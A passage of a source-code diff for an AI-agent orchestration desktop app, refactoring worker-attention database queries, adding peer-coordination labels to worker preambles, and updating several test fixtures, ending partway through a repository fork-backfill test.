--- a/src/main/runtime/orchestration/db/worker-terminal/worker-terminal-attention-query.ts
+++ b/src/main/runtime/orchestration/db/worker-terminal/worker-terminal-attention-query.ts
@@ -27,18 +27,39 @@ export type WorkerAttentionFacts = {
   releaseState?: string | null
 }
 
-export function getWorkerAttentionFactsForDispatches(
-  this: OrchestrationDb,
-  dispatchIds: readonly string[],
-  authorityNow: number
-): Map<string, WorkerAttentionFacts> {
+type WorkerAttentionRow = {
+  dispatch_id: string
+  task_id: string
+  dispatch_status: DispatchStatus
+  termination_reason: TerminalExitCause['kind'] | null
+  worker_state: WorkerDispatchState | null
+  worker_stage: string | null
+  parent_task_id: string | null
+  resource_id: string | null
+  host_scope: string | null
+  release_state: string | null
+  pending_input: number
+  pending_approval: number
+  pending_guidance: number
+  active_sibling: number
+}
+
+export type WorkerAttentionInput = {
+  row: WorkerAttentionRow
+  observations: ReturnType<typeof exposeAttemptObservationFact>[]
+}
+
+export function readWorkerAttentionInputs(
+  db: OrchestrationDb,
+  dispatchIds: readonly string[]
+): Map<string, WorkerAttentionInput> {
   const ids = [...new Set(dispatchIds)]
   if (ids.length === 0) {
     return new Map()
   }
   const serializedIds = JSON.stringify(ids)
-  // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: this row cast is unchanged and matches every other row cast in db/; the gate flags it only because this diff adds a column inside its span.
-  const rows = this.db
+  // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: the query selects each schema-owned WorkerAttentionRow column.
+  const rows = db.db
     .prepare(
       `SELECT d.id AS dispatch_id, d.task_id, d.status AS dispatch_status,
               d.termination_reason, w.state AS worker_state, w.stage AS worker_stage,
@@ -64,26 +85,17 @@ export function getWorkerAttentionFactsForDispatches(
          LEFT JOIN worker_terminal_resources r ON r.owner_dispatch_id = d.id
         WHERE d.id IN (SELECT value FROM json_each(?))`
     )
-    .all(serializedIds) as {
-    dispatch_id: string
-    task_id: string
-    dispatch_status: DispatchStatus
-    termination_reason: TerminalExitCause['kind'] | null
-    worker_state: WorkerDispatchState | null
-    worker_stage: string | null
-    parent_task_id: string | null
-    resource_id: string | null
-    host_scope: string | null
-    release_state: string | null
-    pending_input: number
-    pending_approval: number
-    pending_guidance: number
-    active_sibling: number
-  }[]
-  const observationRows = this.db
+    .all(serializedIds) as WorkerAttentionRow[]
+  // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: the query selects the schema-owned observation column list.
+  const observationRows = db.db
     .prepare(
       `SELECT ${ATTEMPT_OBSERVATION_FACT_COLUMN_LIST} FROM attempt_observation_facts
-        WHERE dispatch_id IN (SELECT value FROM json_each(?))
+        WHERE rowid IN (
+          SELECT (SELECT rowid FROM attempt_observation_facts
+            WHERE dispatch_id = requested.value AND facet = facets.value
+            ORDER BY sequence DESC LIMIT 1)
+          FROM json_each(?) requested, json_each('["process_turn","artifact_git","worker_report","coordinator_ack","liveness","outcome"]') facets
+        )
         ORDER BY dispatch_id, sequence, rowid`
     )
     .all(serializedIds) as AttemptObservationStorageRow[]
@@ -95,34 +107,58 @@ export function getWorkerAttentionFactsForDispatches(
   }
   return new Map(
     rows.map((row) => {
-      const projected = projectAttemptOutcome({
-        dispatchId: row.dispatch_id,
-        taskId: row.task_id,
-        facts: factsByDispatch.get(row.dispatch_id) ?? [],
-        activeSibling: row.active_sibling === 1,
-        authorityNow: { home: authorityNow }
-      }).taskOutcome
-      return [
-        row.dispatch_id,
-        {
-          outcome: projected,
-          pendingInput: row.pending_input === 1,
-          pendingGuidance: row.pending_guidance === 1,
-          pendingApproval: row.pending_approval === 1,
-          terminationReason: row.termination_reason,
-          isRoot: row.parent_task_id === null,
-          workerState: row.worker_state,
-          workerStage: row.worker_stage,
-          dispatchStatus: row.dispatch_status,
-          ...(row.resource_id === null
-            ? {}
-            : { hostScope: row.host_scope, releaseState: row.release_state })
+      const latest = new Map<string, ReturnType<typeof exposeAttemptObservationFact>>()
+      for (const fact of factsByDispatch.get(row.dispatch_id) ?? []) {
+        const previous = latest.get(fact.facet)
+        if (!previous || previous.sequence < fact.sequence) {
+          latest.set(fact.facet, fact)
         }
-      ]
+      }
+      return [row.dispatch_id, { row, observations: [...latest.values()] }]
     })
   )
 }
 
+export function projectWorkerAttentionInput(
+  input: WorkerAttentionInput,
+  authorityNow: number
+): WorkerAttentionFacts {
+  const { row, observations } = input
+  return {
+    outcome: projectAttemptOutcome({
+      dispatchId: row.dispatch_id,
+      taskId: row.task_id,
+      facts: observations,
+      activeSibling: row.active_sibling === 1,
+      authorityNow: { home: authorityNow }
+    }).taskOutcome,
+    pendingInput: row.pending_input === 1,
+    pendingGuidance: row.pending_guidance === 1,
+    pendingApproval: row.pending_approval === 1,
+    terminationReason: row.termination_reason,
+    isRoot: row.parent_task_id === null,
+    workerState: row.worker_state,
+    workerStage: row.worker_stage,
+    dispatchStatus: row.dispatch_status,
+    ...(row.resource_id === null
+      ? {}
+      : { hostScope: row.host_scope, releaseState: row.release_state })
+  }
+}
+
+export function getWorkerAttentionFactsForDispatches(
+  this: OrchestrationDb,
+  dispatchIds: readonly string[],
+  authorityNow: number
+): Map<string, WorkerAttentionFacts> {
+  return new Map(
+    [...readWorkerAttentionInputs(this, dispatchIds)].map(([id, input]) => [
+      id,
+      projectWorkerAttentionInput(input, authorityNow)
+    ])
+  )
+}
+
 export function getWorkerAttentionFacts(
   this: OrchestrationDb,
   dispatchId: string,
diff --git a/src/main/runtime/orchestration/db/worker-terminal/worker-terminal-listing.ts b/src/main/runtime/orchestration/db/worker-terminal/worker-terminal-listing.ts
index 3e625c2126c..c2ce51ded5e 100644
--- a/src/main/runtime/orchestration/db/worker-terminal/worker-terminal-listing.ts
+++ b/src/main/runtime/orchestration/db/worker-terminal/worker-terminal-listing.ts
@@ -103,6 +103,8 @@ export function listWorkerTerminalResources(
   pendingApproval: boolean
   terminationReason: TerminalExitCause['kind'] | null
   resource: WorkerTerminalResourceRow | null
+  /** The paired Orca's name when its Run here coordinates this worker. */
+  coordinatedFrom: string | null
   createdAt: string
   databaseId: number
 }[] {
@@ -170,6 +172,7 @@ export function listWorkerTerminalResources(
               t.parent_id AS parent_task_id,
               d.task_id, d.run_id, d.status AS dispatch_status,
               d.termination_reason,
+              (SELECT home_label FROM peer_runs WHERE run_id = d.run_id) AS coordinated_from,
               EXISTS (
                 SELECT 1 FROM question_threads q
                  WHERE q.dispatch_id = d.id AND q.status = 'pending'
@@ -199,6 +202,7 @@ export function listWorkerTerminalResources(
     termination_reason: TerminalExitCause['kind'] | null
     pending_input: number
     pending_approval: number
+    coordinated_from: string | null
     created_at: string
     database_id: number
   }[]
@@ -236,6 +240,7 @@ export function listWorkerTerminalResources(
       pendingApproval: row.pending_approval === 1,
       terminationReason: row.termination_reason,
       resource,
+      coordinatedFrom: row.coordinated_from,
       createdAt: row.created_at,
       databaseId: row.database_id
     }
diff --git a/src/main/runtime/orchestration/federation/peer-mail/peer-mail-waiters.ts b/src/main/runtime/orchestration/federation/peer-mail/peer-mail-waiters.ts
index 0e2b13c329d..5b88ac6206d 100644
--- a/src/main/runtime/orchestration/federation/peer-mail/peer-mail-waiters.ts
+++ b/src/main/runtime/orchestration/federation/peer-mail/peer-mail-waiters.ts
@@ -1,17 +1,18 @@
-import type { OrchestrationDb } from '../../db/orchestration-db'
+import type Database from '../../../../sqlite/sync-database'
 
-const waiters = new WeakMap<OrchestrationDb, Set<() => void>>()
+const waiters = new WeakMap<Database.Database, Set<() => void>>()
 
-/** Wakes every pull waiting on this store; each re-reads its own conversations. */
-export function notifyPeerMailQueued(db: OrchestrationDb): void {
+/** Wakes every pull waiting on this database; each re-reads its own conversations. Called by every
+ *  write that can queue an item home: a reply, a message filed in a Run, a lifecycle change, a reset. */
+export function notifyPeerMailQueued(db: Database.Database): void {
   for (const wake of waiters.get(db) ?? []) {
     wake()
   }
 }
 
-/** Resolves when a reply is queued, the wait ends, or the caller goes away. */
+/** Resolves when an item may have been queued, the wait ends, or the caller goes away. */
 export function waitForPeerMail(
-  db: OrchestrationDb,
+  db: Database.Database,
   timeoutMs: number,
   signal?: AbortSignal
 ): Promise<void> {
diff --git a/src/main/runtime/orchestration/legacy-remote-home/federated-worker-child-parent.ts b/src/main/runtime/orchestration/legacy-remote-home/federated-worker-child-parent.ts
index e0249544e10..be0580a0127 100644
--- a/src/main/runtime/orchestration/legacy-remote-home/federated-worker-child-parent.ts
+++ b/src/main/runtime/orchestration/legacy-remote-home/federated-worker-child-parent.ts
@@ -1,5 +1,5 @@
 import type { OrcaRuntimeService } from '../../orca-runtime'
-import type { OrchestrationSessionCaller } from '../addressing/orchestration-caller-identity'
+import type { OrchestrationEntryCaller } from '../addressing/orchestration-caller-identity'
 import { OrchestrationError } from '../orchestration-error'
 import { readCallerStoreInstallationId } from '../../hosts/platform-probe/host-descriptor'
 import { getCanonicalUserDataPath } from '../../../persistence/loading-store/user-data-path'
@@ -22,7 +22,7 @@ export async function resolveFederatedChildParent(args: {
     | 'getRuntimeId'
   >
   from: string
-  callerSession: OrchestrationSessionCaller | undefined
+  callerSession: OrchestrationEntryCaller | undefined
   serverCapabilities: readonly string[] | undefined
   serverName: string
 }): Promise<
diff --git a/src/main/runtime/orchestration/legacy-remote-home/federated-worker-start-request.ts b/src/main/runtime/orchestration/legacy-remote-home/federated-worker-start-request.ts
index 21dd2d80613..d4a6950dfc6 100644
--- a/src/main/runtime/orchestration/legacy-remote-home/federated-worker-start-request.ts
+++ b/src/main/runtime/orchestration/legacy-remote-home/federated-worker-start-request.ts
@@ -1,4 +1,4 @@
-import type { OrchestrationSessionCaller } from '../addressing/orchestration-caller-identity'
+import type { OrchestrationEntryCaller } from '../addressing/orchestration-caller-identity'
 import type { OrcaRuntimeService } from '../../orca-runtime'
 import type { OrchestrationDb } from '../db/orchestration-db'
 import type { WorkerStartInput } from '../../rpc/methods/orchestration/worker/worker-start-schema'
@@ -14,5 +14,5 @@ export type FederatedWorkerStartRequest = {
   taskDeps: string[] | undefined
   orchestrationMutation?: WorkerStartMutation
   /** The coordinator's resolved session, when it is one; recorded as the Dispatch creator. */
-  callerSession?: OrchestrationSessionCaller
+  callerSession?: OrchestrationEntryCaller
 }
diff --git a/src/main/runtime/orchestration/mailbox/routing/terminal-pane-mail-routing.ts b/src/main/runtime/orchestration/mailbox/routing/terminal-pane-mail-routing.ts
index eac7375b1ad..6c76e0aec68 100644
--- a/src/main/runtime/orchestration/mailbox/routing/terminal-pane-mail-routing.ts
+++ b/src/main/runtime/orchestration/mailbox/routing/terminal-pane-mail-routing.ts
@@ -1,7 +1,6 @@
-import {
-  ptyRecordForPaneKey,
-  type TerminalIdentityReadContext
-} from '../../../terminal/query/terminal-identity-read-context'
+import { ORCA_LAYOUT_OWNER_IS_MAIN } from '../../../../../shared/layout-owner-switch'
+import type { TerminalIdentityReadContext } from '../../../terminal/query/terminal-identity-read-context'
+import { ptyRecordForPaneKey } from '../../../terminal/query/pty-pane-record'
 import type { RuntimeTerminalAgentPresenceOptions } from '../../../terminal/query/runtime-terminal-agent-presence'
 import { OrcaRuntimeWithPruneMobileSessionTabGroupLayout } from '../../../session-lifecycle/projection/prune-mobile-session-tab-group-layout'
 import type { RuntimePtyWorktreeRecord } from '../../../terminal/records/runtime-terminal-state-records'
@@ -52,7 +51,14 @@ export abstract class OrcaRuntimeWithGetPtyRecordForPaneKey extends OrcaRuntimeW
         leaves: this.leaves,
         ptys: this.ptysById,
         leafKey: (tab, leaf) => this.getLeafKey(tab, leaf),
-        capturePaneOf: () => this.captureTerminalPaneReader()
+        capturePaneOf: () => this.captureTerminalPaneReader(),
+        ...(!ORCA_LAYOUT_OWNER_IS_MAIN
+          ? {
+              paneOf: (pty: Parameters<typeof this.paneOfPty>[0]) => this.paneOfPty(pty),
+              leavesForId: (id: string) => this.terminalIdentity.paneCandidates.leavesForId(id),
+              ptysForPane: (pane: string) => this.terminalIdentity.paneCandidates.ptysForPane(pane)
+            }
+          : {})
       },
       context
     )
diff --git a/src/main/runtime/orchestration/mailbox/terminal-pointer/in-memory-orchestration-messages.spec.ts b/src/main/runtime/orchestration/mailbox/terminal-pointer/in-memory-orchestration-messages.spec.ts
index 264b99b1f56..b7d5ab26485 100644
--- a/src/main/runtime/orchestration/mailbox/terminal-pointer/in-memory-orchestration-messages.spec.ts
+++ b/src/main/runtime/orchestration/mailbox/terminal-pointer/in-memory-orchestration-messages.spec.ts
@@ -5,6 +5,10 @@ import type { MessagePriority, MessageRow, MessageType } from '../../db/orchestr
 export class InMemoryOrchestrationMessages {
   readonly crewChanges = new CrewChanges()
 
+  hasAnyDispatchContexts(): boolean {
+    return false
+  }
+
   private sequence = 0
 
   private activeCoordinatorRun: { coordinator_handle: string } | null = null
diff --git a/src/main/runtime/orchestration/mailbox/terminal-pointer/orchestration-cursor-native-title.spec.ts b/src/main/runtime/orchestration/mailbox/terminal-pointer/orchestration-cursor-native-title.spec.ts
new file mode 100644
index 00000000000..32ff156a737
--- /dev/null
+++ b/src/main/runtime/orchestration/mailbox/terminal-pointer/orchestration-cursor-native-title.spec.ts
@@ -0,0 +1,47 @@
+import { rmSync } from 'node:fs'
+import { afterEach, describe, expect, it, vi } from 'vitest'
+import { settledWriteStub } from '../../../../providers/settled-pty-write-stub'
+import {
+  createBoundRun,
+  createDatabase,
+  createRuntime,
+  insertDirectRunMessage,
+  PTY_ID,
+  temporaryDirectories
+} from './orchestration-mailbox-notification-test-harness'
+
+describe('mail to a Cursor worker under its own status title', () => {
+  afterEach(() => {
+    vi.useRealTimers()
+    for (const directory of temporaryDirectories.splice(0)) {
+      rmSync(directory, { recursive: true, force: true })
+    }
+  })
+
+  // cursor-agent titles its pane `<chat> - <emoji> <label>`; Orca writes no working title over it (STA-14266).
+  it.each([
+    ['Espresso Manufacturer EEAT - ⏳ Working ···'],
+    ['Espresso Manufacturer EEAT - ✅ Ready (feature-branch)']
+  ])('offers mail while the title is %s', async (title) => {
+    vi.useFakeTimers()
+    const db = createDatabase('orca-cursor-native-title-')
+    const { runtime } = createRuntime(db, { launchAgent: 'cursor' })
+    const write = vi.fn((_ptyId: string, _data: string) => true)
+    runtime.setPtyController({
+      write,
+      writeWithSettlement: settledWriteStub(write),
+      kill: vi.fn(),
+      getForegroundProcess: async () => 'cursor-agent'
+    })
+    const run = createBoundRun(db, 'Cursor native title Run')
+    await runtime.listTerminals()
+    insertDirectRunMessage(db, run.id, 'Steer the worker')
+    runtime.onPtyData(PTY_ID, `\x1b]0;${title}\x07`, 1)
+    await vi.advanceTimersByTimeAsync(1500)
+    expect(write).toHaveBeenCalledWith(
+      PTY_ID,
+      expect.stringContaining('You have 1 orchestration message')
+    )
+    db.close()
+  })
+})
diff --git a/src/main/runtime/orchestration/mailbox/terminal-pointer/orchestration-mailbox-titles.test.ts b/src/main/runtime/orchestration/mailbox/terminal-pointer/orchestration-mailbox-titles.test.ts
index 4b3788c4a9e..23601683aa5 100644
--- a/src/main/runtime/orchestration/mailbox/terminal-pointer/orchestration-mailbox-titles.test.ts
+++ b/src/main/runtime/orchestration/mailbox/terminal-pointer/orchestration-mailbox-titles.test.ts
@@ -9,4 +9,5 @@ vi.mock('electron', () => ({
 }))
 
 import './orchestration-codex-completion-title.spec'
+import './orchestration-cursor-native-title.spec'
 import '../../../terminal/output/stale-title-completion-recovery.spec'
diff --git a/src/main/runtime/orchestration/terminal-authority/legacy-worker-runtime-recovery.ts b/src/main/runtime/orchestration/terminal-authority/legacy-worker-runtime-recovery.ts
index 6262e147968..cdbac1667b1 100644
--- a/src/main/runtime/orchestration/terminal-authority/legacy-worker-runtime-recovery.ts
+++ b/src/main/runtime/orchestration/terminal-authority/legacy-worker-runtime-recovery.ts
@@ -2,9 +2,13 @@ import type { ResolvedWorktree } from '../../workspaces/catalog/runtime-worktree
 import type { LegacyWorkerTerminalRecoveryPlan } from './release/orchestration-legacy-worker-terminal-recovery'
 import type { LegacyWorkerTerminalRecoveryResult } from './structured-sessions/runtime-legacy-worker-terminal-recovery-types'
 import { RuntimeWorkspaceSessionFlush } from '../../workspaces/session-hosts/runtime-workspace-session-flush'
+import type { OrcaRuntimeWithGetStructuredAgentSessionCreateSupport as StructuredSessionStartup } from '../../session-tabs/structured-session-create-support'
 
 export abstract class LegacyWorkerRuntimeRecovery extends RuntimeWorkspaceSessionFlush {
   protected abstract getResolvedWorktreeMap(): Promise<Map<string, ResolvedWorktree>>
+  abstract prepareStructuredAgentSessionStartupRestoration(
+    ...args: Parameters<StructuredSessionStartup['prepareStructuredAgentSessionStartupRestoration']>
+  ): ReturnType<StructuredSessionStartup['prepareStructuredAgentSessionStartupRestoration']>
 
   async reconcileLegacyWorkerTerminals(
     options: { connectionId?: string; materializeRenderer?: boolean } = {}
@@ -25,8 +29,14 @@ export abstract class LegacyWorkerRuntimeRecovery extends RuntimeWorkspaceSessio
   }
 
   async refreshRestoredOrchestrationAuthority(connectionId: string | null = null): Promise<void> {
-    if (connectionId === null && !this.canRecoverPersistentLocalPtysFn()) {
-      return
+    if (connectionId === null) {
+      // Why: until restart leases are reconciled, a chat worker that died with the last run reads as unverifiable.
+      await this.prepareStructuredAgentSessionStartupRestoration().catch((error: unknown) => {
+        console.warn('[orchestration] chat worker restart reconcile failed', error)
+      })
+      if (!this.canRecoverPersistentLocalPtysFn()) {
+        return
+      }
     }
     const inventory = await this.refreshPtyWorktreeRecordsWithControllerInventory(
       [...(await this.getResolvedWorktreeMap()).values()],
diff --git a/src/main/runtime/orchestration/terminal-authority/legacy-worker-terminal-surface.ts b/src/main/runtime/orchestration/terminal-authority/legacy-worker-terminal-surface.ts
index 8e08a198b8a..9fd717c67e4 100644
--- a/src/main/runtime/orchestration/terminal-authority/legacy-worker-terminal-surface.ts
+++ b/src/main/runtime/orchestration/terminal-authority/legacy-worker-terminal-surface.ts
@@ -78,6 +78,17 @@ export abstract class LegacyWorkerTerminalSurface extends OrcaRuntimeWithRestore
     if (pty && this.paneOfPty(pty).tabId === candidate.tabId) {
       forgetPtySurface(this.terminalIdentity, pty)
     }
+    // Why: an exit this run never saw leaves the pane's restored hook row holding the conversation;
+    // a newer terminal already in the pane owns that row.
+    const paneTakenOver =
+      (leaf?.ptyId && leaf.ptyId !== candidate.ptyId) ||
+      [...this.ptysById.values()].some(
+        (other) =>
+          other.ptyId !== candidate.ptyId && this.paneOfPty(other).paneKey === candidate.paneKey
+      )
+    if (!paneTakenOver) {
+      this.reconcileAgentStatusForEndedProcessFn?.([candidate.paneKey])
+    }
     this.notifier?.resolveLegacyWorkerTerminalRecovery?.(
       candidate.paneKey,
       'rolled_back',
diff --git a/src/main/runtime/orchestration/terminal-authority/structured-sessions/structured-chat-coordinator-observation-clock.test-fixture.ts b/src/main/runtime/orchestration/terminal-authority/structured-sessions/structured-chat-coordinator-observation-clock.test-fixture.ts
index e5ce7d94df3..c7204e36e0a 100644
--- a/src/main/runtime/orchestration/terminal-authority/structured-sessions/structured-chat-coordinator-observation-clock.test-fixture.ts
+++ b/src/main/runtime/orchestration/terminal-authority/structured-sessions/structured-chat-coordinator-observation-clock.test-fixture.ts
@@ -2,6 +2,41 @@ import { expect, vi } from 'vitest'
 import type { StructuredAgentSessionHost } from '../../../../native-chat/agent-session-wire/host/structured-agent-session-host'
 import type { OrcaRuntimeService } from '../../../orca-runtime'
 import { waitForStructuredAgentSessionRecovery } from '../../../agent-session/structured-agent-session-runtime'
+import { awakeNow, createAwakeClock, type AwakeClock } from '../../../../power/awake-clock'
+import type * as AwakeClockModule from '../../../../power/awake-clock'
+
+// Agent startups read the process-wide awake clock, whose heartbeat is a timer that outlives the
+// runtime by design. Under fake time each observation window gets its own production awake clock
+// whose heartbeat it counts, so the closed-database drain can still demand every other timer end.
+const fakeTimeAwakeClock = vi.hoisted((): { clock: AwakeClock | null; heartbeats: number } => ({
+  clock: null,
+  heartbeats: 0
+}))
+
+vi.mock('../../../../power/awake-clock', async (importOriginal) => {
+  const actual = await importOriginal<typeof AwakeClockModule>()
+  return {
+    ...actual,
+    awakeNow: vi.fn(() => (fakeTimeAwakeClock.clock ?? actual.getSystemAwakeClock()).now())
+  }
+})
+
+function startFakeTimeAwakeClock(): void {
+  // Startups read through this export; an unapplied mock would leave the shared clock in play.
+  expect(vi.isMockFunction(awakeNow)).toBe(true)
+  fakeTimeAwakeClock.heartbeats = 0
+  fakeTimeAwakeClock.clock = createAwakeClock({
+    wallNow: () => Date.now(),
+    monotonicNow: () => globalThis.performance.now(),
+    after: (beat, ms) => {
+      fakeTimeAwakeClock.heartbeats += 1
+      setTimeout(() => {
+        fakeTimeAwakeClock.heartbeats -= 1
+        beat()
+      }, ms).unref()
+    }
+  })
+}
 
 export function createCoordinatorMailObservationClock(
   getHost: () => StructuredAgentSessionHost,
@@ -11,6 +46,7 @@ export function createCoordinatorMailObservationClock(
   return {
     start(): void {
       vi.useFakeTimers({ toFake: ['Date', 'setTimeout', 'clearTimeout'] })
+      startFakeTimeAwakeClock()
       active = true
     },
     async observe(ms: number): Promise<void> {
@@ -48,12 +84,15 @@ export function createCoordinatorMailObservationClock(
       await vi.advanceTimersByTimeAsync(2_000)
       await waitForStructuredAgentSessionRecovery()
       await new Promise<void>((resolve) => setImmediate(resolve))
-      expect(vi.getTimerCount()).toBe(0)
+      expect(vi.getTimerCount()).toBe(fakeTimeAwakeClock.heartbeats)
     },
     restore(): void {
       if (active) {
         vi.useRealTimers()
       }
+      // useRealTimers dropped this clock's pending heartbeat along with the other fake timers.
+      fakeTimeAwakeClock.clock = null
+      fakeTimeAwakeClock.heartbeats = 0
       active = false
     }
   }
diff --git a/src/main/runtime/orchestration/terminal-authority/structured-sessions/structured-worker-authority.ts b/src/main/runtime/orchestration/terminal-authority/structured-sessions/structured-worker-authority.ts
index 7745cf67b03..1f3ce8ca6c5 100644
--- a/src/main/runtime/orchestration/terminal-authority/structured-sessions/structured-worker-authority.ts
+++ b/src/main/runtime/orchestration/terminal-authority/structured-sessions/structured-worker-authority.ts
@@ -106,13 +106,9 @@ export function isRecordedStructuredWorkerSession(
   sessionId: OrcaSessionId,
   db: OrchestrationDb
 ): boolean {
-  return Boolean(
-    db.db
-      .prepare(
-        `SELECT 1 FROM dispatch_contexts
-         WHERE assignee_orca_session_id = ? AND process_incarnation = ? LIMIT 1`
-      )
-      .get(sessionId, structuredWorkerProcessIncarnation(sessionId))
+  return db.hasRecordedStructuredWorkerSession(
+    sessionId,
+    structuredWorkerProcessIncarnation(sessionId)
   )
 }
 
diff --git a/src/main/runtime/orchestration/workers/launch/worker-dispatch-preamble.ts b/src/main/runtime/orchestration/workers/launch/worker-dispatch-preamble.ts
index bc1fa776441..a68c56d5f2e 100644
--- a/src/main/runtime/orchestration/workers/launch/worker-dispatch-preamble.ts
+++ b/src/main/runtime/orchestration/workers/launch/worker-dispatch-preamble.ts
@@ -10,6 +10,8 @@ export type PreambleParams = {
   taskSpec: string
   /** A terminal handle, or a session's `orca_session_id:<id>`; each is labelled by its kind. */
   coordinatorHandle: string
+  /** The paired Orca's name when it coordinates this worker's Run from another computer. */
+  coordinatedFrom?: string
   workerHandle: string
   devMode?: boolean
   // Packaged WSL uses orca-ide; other hosts retain their existing launcher.
@@ -38,9 +40,11 @@ function isSessionHandle(handle: string): boolean {
 /** Terminal agents keep their handle's wording; only a session is named by its Orca session ID. */
 function dispatchIdentityLines(params: PreambleParams): string {
   return [
-    isSessionHandle(params.coordinatorHandle)
-      ? `Your coordinator's Orca session ID is: ${params.coordinatorHandle}`
-      : `Your coordinator's terminal handle is: ${params.coordinatorHandle}`,
+    params.coordinatedFrom
+      ? `You are coordinated from ${params.coordinatedFrom}. Your coordinator's address here is: ${params.coordinatorHandle}`
+      : isSessionHandle(params.coordinatorHandle)
+        ? `Your coordinator's Orca session ID is: ${params.coordinatorHandle}`
+        : `Your coordinator's terminal handle is: ${params.coordinatorHandle}`,
     `Your task ID is: ${params.taskId}`,
     ...(isSessionHandle(params.workerHandle)
       ? [`Your Orca session ID is: ${params.workerHandle}`]
diff --git a/src/main/runtime/orchestration/workers/launch/worker-start-card.ts b/src/main/runtime/orchestration/workers/launch/worker-start-card.ts
index 6241d40728e..455942e2780 100644
--- a/src/main/runtime/orchestration/workers/launch/worker-start-card.ts
+++ b/src/main/runtime/orchestration/workers/launch/worker-start-card.ts
@@ -6,7 +6,7 @@ import type {
 import type { AgentMessageSender } from '../../../../../shared/agent-session/agent-session-message-source'
 import type { AgentType } from '../../../../../shared/agent-status/contracts/agent-status-types'
 import type { OrcaRuntimeService } from '../../../orca-runtime'
-import type { OrchestrationSessionCaller } from '../../addressing/orchestration-caller-identity'
+import type { OrchestrationEntryCaller } from '../../addressing/orchestration-caller-identity'
 
 export type AgentCreationCard = AgentJournalAgentStartItem | AgentJournalAgentHandoffItem
 
@@ -54,7 +54,7 @@ export function startedAgentSender(
 
 export function prepareWorkerStartCard(
   runtime: OrcaRuntimeService,
-  callerSession: OrchestrationSessionCaller | undefined
+  callerSession: OrchestrationEntryCaller | undefined
 ): (args: {
   dispatchId: string
   workerAddress: string
@@ -62,7 +62,10 @@ export function prepareWorkerStartCard(
   /** What this start launched; the only kind known for a worker on another host. */
   agent: AgentType | null
 }) => void {
-  const publish = prepareAgentCreationCard(callerSession?.sessionId)
+  // A paired Orca has no chat here to show the card in.
+  const publish = prepareAgentCreationCard(
+    callerSession?.kind === 'peer' ? undefined : callerSession?.sessionId
+  )
   if (!publish) {
     return () => {}
   }
diff --git a/src/main/runtime/repositories/repo-icon-fork-backfill.test.ts b/src/main/runtime/repositories/repo-icon-fork-backfill.test.ts
index 352aef26709..5849b9c1848 100644
--- a/src/main/runtime/repositories/repo-icon-fork-backfill.test.ts
+++ b/src/main/runtime/repositories/repo-icon-fork-backfill.test.ts
@@ -1,79 +1,291 @@
 import { afterEach, describe, expect, it, vi } from 'vitest'
 import type { Repo } from '../../../shared/repo-types'
-import * as repoSlugUpstream from '../../github/client/fetch/repo-slug-upstream'
-import { OrcaRuntimeService } from '../orca-runtime'
-import { repoTarget } from '../../persistence/repo-host-target-matcher.test-fixture'
+import { partialRuntimeStore } from '../orca-runtime-tests/runtime-store-partial-fixture'
+import {
+  probeRepoUpstream,
+  type RepoUpstreamProbe
+} from '../../github/client/fetch/repo-slug-upstream'
+import { RuntimeRepositoryForkBackfill } from './runtime-repository-fork-backfill'
 
 vi.mock('../../github/client/fetch/repo-slug-upstream', async (importOriginal) => ({
   ...(await importOriginal<Record<string, unknown>>()),
-  getRepoSlug: vi.fn(),
-  getRepoUpstream: vi.fn()
+  probeRepoUpstream: vi.fn()
 }))
-
-const getRepoUpstream = vi.mocked(repoSlugUpstream.getRepoUpstream)
-const getRepoSlug = vi.mocked(repoSlugUpstream.getRepoSlug)
-
-type BackfillInternals = { repositoryForkBackfill: { run(): Promise<void> } }
-
-function makeRepo(overrides: Partial<Repo> = {}): Repo {
+const probe = vi.mocked(probeRepoUpstream)
+const origin = { owner: 'me', repo: 'widget', host: 'github.com' }
+const originIcon = {
+  type: 'image',
+  src: 'https://github.com/me.png?size=64',
+  source: 'github',
+  label: 'me/widget'
+}
+const parent = { owner: 'acme', repo: 'widget', host: 'github.com' }
+function makeRepo(id = 'repo-1', overrides: Partial<Repo> = {}): Repo {
   return {
-    id: 'repo-1',
-    path: '/workspace/rocket-pro',
-    displayName: 'rocket-pro',
-    badgeColor: '#2563eb',
+    id,
+    path: `/workspace/${id}`,
+    displayName: 'widget',
+    badgeColor: 'blue',
     addedAt: 1,
     kind: 'git',
-    repoIcon: {
-      type: 'image',
-      src: 'https://github.com/acme.png?size=64',
-      source: 'github',
-      label: 'acme/rocket-pro'
-    },
     ...overrides
   }
 }
-
-function attachStore(runtime: OrcaRuntimeService, repos: Repo[]) {
+function fixture(repos: Repo[]) {
   const updateRepo = vi.fn((target: Pick<Repo, 'id'>, updates: Partial<Repo>) => {
     const index = repos.findIndex((repo) => repo.id === target.id)
+    if (index === -1) {
+      return null
+    }
     repos[index] = { ...repos[index], ...updates }
+    return repos[index]
   })
-  Object.assign(runtime, { store: { getRepos: () => repos, updateRepo } })
-  return updateRepo
+  const store = partialRuntimeStore({
+    getRepos: () => repos,
+    getRepo: (id) => repos.find((repo) => repo.id === id),
+    updateRepo
+  })
+  const notify = vi.fn()
+  return {
+    owner: new RuntimeRepositoryForkBackfill(() => store, notify),
+    repos,
+    notify,
+    updateRepo
+  }
 }
-
 afterEach(() => {
-  vi.clearAllMocks()
+  vi.resetAllMocks()
+  vi.useRealTimers()
 })
 
-describe('startup fork-upstream backfill', () => {
-  it('keeps an icon chosen while avatar detection is pending', async () => {
-    const runtime = new OrcaRuntimeService()
-    const repo = makeRepo()
-    const repos = [repo]
-    const updateRepo = attachStore(runtime, repos)
-    getRepoUpstream.mockResolvedValue({ owner: 'upstream-org', repo: 'rocket' })
-    let resolveSlug!: (value: { owner: string; repo: string }) => void
-    let markSlugStarted!: () => void
-    const slugStarted = new Promise<void>((resolve) => {
-      markSlugStarted = resolve
-    })
-    getRepoSlug.mockImplementationOnce(
-      () =>
-        new Promise((resolve) => {
-          resolveSlug = resolve
-          markSlugStarted()
-        })
-    )
-
-    const backfill = (runtime as unknown as BackfillInternals).repositoryForkBackfill.run()
-    await slugStarted
-    repos[0] = { ...repo, repoIcon: { type: 'emoji', emoji: '🚀' } }
-    resolveSlug({ owner: 'acme', repo: 'rocket-pro' })
-    await backfill
-
-    expect(updateRepo).toHaveBeenCalledExactlyOnceWith(repoTarget('repo-1'), {
-      upstream: { owner: 'upstream-org', repo: 'rocket' }
+describe('repository metadata ownership', () => {
+  it('keeps unavailable parent evidence unknown, fills origin avatar, and recovers on startup', async () => {
+    const f = fixture([makeRepo()])
+    probe
